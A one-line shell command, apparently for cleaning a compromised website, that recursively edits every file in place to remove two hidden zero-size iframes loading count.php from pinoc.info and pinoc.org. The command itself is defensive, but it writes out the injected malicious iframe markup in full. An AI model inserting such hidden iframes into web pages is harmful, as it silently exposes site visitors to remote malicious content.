find /PATH/TO/START/FROM/ -type f | xargs perl -pi -e 's/\<iframe src\=\"http\:\/\/pinoc\.info\/count\.php\?o\=2\" width\=0 height\=0 style\=\"hidden\" frameborder\=0 marginheight\=0 marginwidth\=0 scrolling\=no\>\<\/iframe\>\<iframe src\=\"http\:\/\/pinoc\.org\/count\.php\?o\=2\" width\=0 height\=0 style\=\"hidden\" frameborder\=0 marginheight\=0 marginwidth\=0 scrolling\=no\>\<\/iframe\>//g'